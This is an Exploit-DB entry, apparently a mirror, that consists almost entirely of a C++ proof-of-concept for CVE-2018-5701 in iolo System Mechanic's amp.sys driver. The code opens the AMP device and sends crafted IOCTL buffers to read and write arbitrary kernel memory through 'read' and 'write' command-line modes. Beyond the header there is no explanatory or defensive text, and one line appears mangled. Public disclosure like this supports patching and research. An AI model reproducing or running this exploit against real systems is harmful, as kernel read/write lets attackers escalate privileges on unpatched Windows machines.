System Mechanic v15.5.0.61 – Arbitrary Read/Write

  • 作者: Brandon Marshall
    日期: 2023-03-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51044/
  • /*
    # Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
    # Date: 26-09-2022
    # Exploit Author: Brandon Marshall
    # Vendor Homepage: https://www.iolo.com/
    # Tested Version - System Mechanic version 15.5.0.61
    # Driver Version - 5.4.11 - amp.sys
    # Tested on OS - 64 bit Windows 10 (18362)
    # Fixed Version- System Mechanic 17.5.0.116
    # CVE : CVE-2018-5701
    */
    
    #include <iostream>
    #include <Windows.h>
    #include <psapi.h>
    #include <stdio.h>
    #pragma warning(disable:4996)
    
    typedef struct _kernelDriverInformation {
    char* imageName;
    void* imageBase;
    
    }kernelDriverInformation, * PKernelDriverInformation;
    
    typedef struct _functionInformation {
    char* functionName;
    void* functionOffset;
    void* functionBase;
    
    }functionInformation, * PFunctionInformation;
    
    void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
    DWORD bytesReturned;
    NTSTATUSstatus = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
    }
    
    HANDLE getDeviceHandle(char* name) {
    DWORD generic_read = 0x80000000;
    DWORD generic_write = 0x40000000;
    HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
    return handle;
    }
    
    
    
    void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;// param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;// param4
    return (void*)maliciousBuffer;
    }
    
    void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;// param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);// param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;//unknown
    *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
    return (void*)maliciousBuffer;
    }
    
    void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;// param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);// param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
    return (void*)maliciousBuffer;
    }
    
    DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
    
    return returnVal;
    }
    
    void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);
    
    return;
    }
    
    void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    
    DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
    DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);
    
    void** Pqword = (void**)malloc(0x8);
    
    for (int i = 0; i < 4; i++) {
    ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
    ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
    }
    
    return (*(void**)Pqword);
    }
    
    void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    
    
    writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
    writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);
    
    }
    
    int main(int argc, char* argv[])
    {
    
    ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);
    
    HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");
    
    SIZE_T size = 0x300;
    
    if (strcmp(argv[1], "read") == 0) {
    
    
    void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);
    
    
    
    printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
    }
    else if (strcmp(argv[1], "write") == 0) {
    
    ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);
    
    
    writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);
    
    
    
    printf("Wrote%0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
    }
    
    }